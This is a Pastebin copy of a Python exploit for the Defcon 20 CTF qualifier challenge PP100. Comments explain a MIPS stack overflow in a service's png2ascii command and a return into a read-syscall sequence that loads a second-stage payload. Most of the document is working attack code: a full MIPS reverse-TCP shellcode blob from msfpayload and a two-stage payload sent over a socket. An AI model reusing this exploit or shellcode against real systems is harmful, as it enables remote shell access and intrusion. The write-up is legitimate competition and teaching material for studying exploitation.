Advertisement
Guest User

Defcon 20 CTF Quals - PP100 Write up

a guest
Jun 4th, 2012
4,975
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.55 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # exploit by @jgrusko
  3. # The real problem here is getting a linux MIPS and actually understanding MIPS, which
  4. # i didn't :) So does hexray...
  5. # Fortunately someone bothered creating a small debian squeeze image, which can be used with
  6. # qemu-mips: http://people.debian.org/~aurel32/qemu/mips/
  7. # The program is a server that allows connected client to send commands:
  8. #
  9. #IRIX (quals.ddtek.biz)
  10. #login: ^D
  11. #IRIX Release 6.5 IP32 ddtek
  12. #Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
  13. #Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz
  14. #
  15. #dd 0% help
  16. #Available commands:
  17. #qotd
  18. #ls
  19. #png2ascii
  20. #help
  21. #exit
  22. #quit
  23. #dd 1% png2ascii
  24. #Copy and paste your PNG file and I will convert it to ASCII for you:
  25. #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  26. #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  27. #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  28. #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  29. #
  30. # Issuing the "png2ascii" command and supplying a large string triggers a stack overflow
  31. # vulnerability.
  32. # The png2ascii() function is a follows:
  33. #.text:00401BC4 png2ascii_handler:
  34. #..
  35. #.text:00401BD0                 addiu   $sp, -0x130     // reserve space on stack for
  36. #                               // local variables
  37. #.text:00401BD4                 sw      $ra, 0x130+var_4($sp)   // push return address
  38. #.text:00401BD8                 sw      $fp, 0x130+var_8($sp)   // push sfp
  39. #.text:00401BDC                 move    $fp, $sp
  40. #...
  41. #.text:00401C4C                 addiu   $v0, $fp, 0x130+var_108 // Load buffer into $v0
  42. #.text:00401C50                 lw      $a0, 0x130+arg_0($fp)   // load socket descriptor in $a0
  43. #.text:00401C54                 move    $a1, $v0        // load buffer addr into $a1
  44. #.text:00401C58                 li      $a2, 0x200      // load max size into $a2
  45. #.text:00401C5C                 li      $a3, 0xA        // load delimiter into $a3
  46. #.text:00401C60                 la      $t9, read_until_delim   // load read_until_delim in $t9
  47. #.text:00401C64                 nop
  48. #.text:00401C68                 jalr    $t9 ; read_until_delim  // call read_until_delim() func
  49. #
  50. # The read_until_delim function actually call a getc() like function inside a loop until the
  51. # supplied delimiter '\n'  is encountered or the maximum buffer size is reached.
  52. # The function has the following prototype:
  53. # int read_until_delim(int sockfd, char *buffer, unsigned int max_size, char delim);
  54. #
  55. # However the maximum read size is 0x200, which is almost the double of the reserved stack
  56. # space. This is a classic stack overflow.
  57. # The real difficulty being dealing with the MIPS architecture
  58. # In order to get a one shot exploit, i decided to go for ROP-like exploitation. The big
  59. # problem is that MIPS is not ROPpers friendly since every opcode is 4-bytes it's unlikely to
  60. # find the required gadgets.
  61. # The solution I used was to return on the code performing the read syscall:
  62. #.text:0040F968                 lw      $gp, 0x20($sp)
  63. #.text:0040F96C                 sw      $v0, 0x2c($sp)
  64. #.text:0040F970                 lw      $a0, 0x0($sp)       // file descriptor
  65. #.text:0040F974                 lw      $a1, 0x4($sp)       // destination buffer address
  66. #.text:0040F978                 lw      $a2, 0x8($sp)       // read size
  67. #.text:0040F97C                 li      $v0, 0xFA3              // read syscall
  68. #.text:0040F980                 syscall 0                       // perform syscall
  69. #.text:0040F984                 sw      $v0, 0x30+var_C($sp)
  70. #.text:0040F988                 sw      $a3, 0x30+var_8($sp)
  71. #.text:0040F98C                 lw      $a0, 0x30+var_4($sp)
  72. #.text:0040F990                 la      $t9, -0x7ccc($gp)       // load function address
  73. #.text:0040F994                 nop
  74. #.text:0040F998                 jalr    $t9                 // jump to function
  75. #
  76. # With the following stack layout:
  77. # 0x00000000    0x0040f968  // Return address (Address of above code)
  78. # 0x00000004    0x00000004  // socket filedescriptor
  79. # 0x00000008    0x10000000  // address of destination into .data section
  80. # 0x0000000c    0x00000400  // read size
  81. # 0x00000014    0x41414141  // junk
  82. # 0x00000018    0x41414141  // junk
  83. # 0x0000001c    0x41414141  // junk
  84. # 0x00000020    0x41414141  // junk
  85. # 0x00000024    0x10007ccc  // goes into $gp register
  86. #
  87. # When the function will return, the code will actually read attacker second stage payload
  88. # into the address 0x10000000 in binary .data section.
  89. # The 0x10007ccc value is put into $gp by the instruction:
  90. # .text:0040F968                 lw      $gp, 0x20($sp)
  91. # When the following instruction is reached:
  92. # .text:0040F990                 la      $t9, -0x7ccc($gp)
  93. # .text:0040F994                 nop
  94. # .text:0040F998                 jalr    $t9                // jump to function
  95. # The value at (0x10007ccc - 0x7ccc) = 0x10000000 will be put into $t9.
  96. # By just prepending the second stage payload with the dword 0x10000004 the code will jump
  97. # directly into the payload.
  98. #
  99. # Here's the actual exploit code:
  100.  
  101. import struct
  102. import socket
  103. import sys
  104.  
  105. # msfpayload linux/mipsle/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444
  106. shellcode = (
  107.     "\xef\xff\x09\x24\xff\xff\x10\x05\x82\x82\x08\x28\x27\x48"
  108.     "\x20\x01\x21\xc8\x3f\x01\x48\x85\xb9\xaf\x48\x85\xb9\x23"
  109.     "\x00\x00\x1c\x3c\x00\x00\x9c\x27\x21\xe0\x99\x03\x00\x00"
  110.     "\x89\x8f\xd8\xff\xbd\x27\xe8\x00\x2a\x25\x04\x00\x47\x8d"
  111.     "\xe8\x00\x28\x8d\x00\x01\x04\x3c\x7f\x00\x83\x34\x18\x00"
  112.     "\xb9\x27\x02\x00\x06\x24\x11\x5c\x05\x24\x08\x00\xa6\xa7"
  113.     "\x0a\x00\xa5\xa7\x18\x00\xa8\xaf\x1c\x00\xa7\xaf\x0c\x00"
  114.     "\xa3\xaf\x20\x00\xb9\xaf\x24\x00\xa0\xaf\x02\x00\x04\x24"
  115.     "\x02\x00\x05\x24\x21\x30\x00\x00\x57\x10\x02\x24\x0c\x00"
  116.     "\x00\x00\x21\x18\x40\x00\xff\xff\x02\x24\x1a\x00\x62\x10"
  117.     "\x01\x00\x04\x24\x21\x20\x60\x00\x08\x00\xa5\x27\x10\x00"
  118.     "\x06\x24\x4a\x10\x02\x24\x0c\x00\x00\x00\x0e\x00\x40\x14"
  119.     "\x21\x28\x00\x00\xdf\x0f\x02\x24\x0c\x00\x00\x00\x01\x00"
  120.     "\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x02\x00\x05\x24"
  121.     "\xdf\x0f\x02\x24\x0c\x00\x00\x00\x21\x30\x00\x00\x21\x20"
  122.     "\x20\x03\x20\x00\xa5\x27\xab\x0f\x02\x24\x0c\x00\x00\x00"
  123.     "\x21\x20\x00\x00\xa1\x0f\x02\x24\x0c\x00\x00\x00\x08\x00"
  124.     "\xe0\x03\x28\x00\xbd\x27\xa1\x0f\x02\x24\x0c\x00\x00\x00"
  125.     "\xe5\xff\x00\x10\x21\x20\x60\x00\x2f\x62\x69\x6e\x2f\x73"
  126.     "\x68\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  127.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  128.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  129.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  130.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  131.     "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
  132. )
  133.  
  134. retAddr = struct.pack("<I", 0x40f968)
  135.  
  136. def exploit():
  137.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  138.     s.connect(("localhost", 1994))
  139.     print(s.recv(4096))
  140.  
  141.     s.send(b"png2ascii\n")
  142.     print(s.recv(4096))
  143.    
  144.     payload  = "\x00" * (260)
  145.     payload += retAddr              # return on code performing read syscall
  146.     payload += struct.pack("<I", 0x04)      # filedescriptor
  147.     payload += struct.pack("<I", 0x10000000)    # destination address
  148.     payload += struct.pack("<I", 0x400)     # read size
  149.     payload += "EEEEFFFFGGGGHHHHIIII"       # junk arguments
  150.     payload += struct.pack("<I", 0x10007ccc)    # goes into gp
  151.     payload += "\n"
  152.  
  153.     # Send first stage payload
  154.     s.send(payload)
  155.  
  156.     # Send second stage payload
  157.     s.send(struct.pack("<I", 0x10000004) + shellcode)
  158.  
  159.     print(s.recv(8192))
  160.     print(s.recv(8192))
  161.     s.close()
  162.  
  163. if __name__ == "__main__":
  164.     exploit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement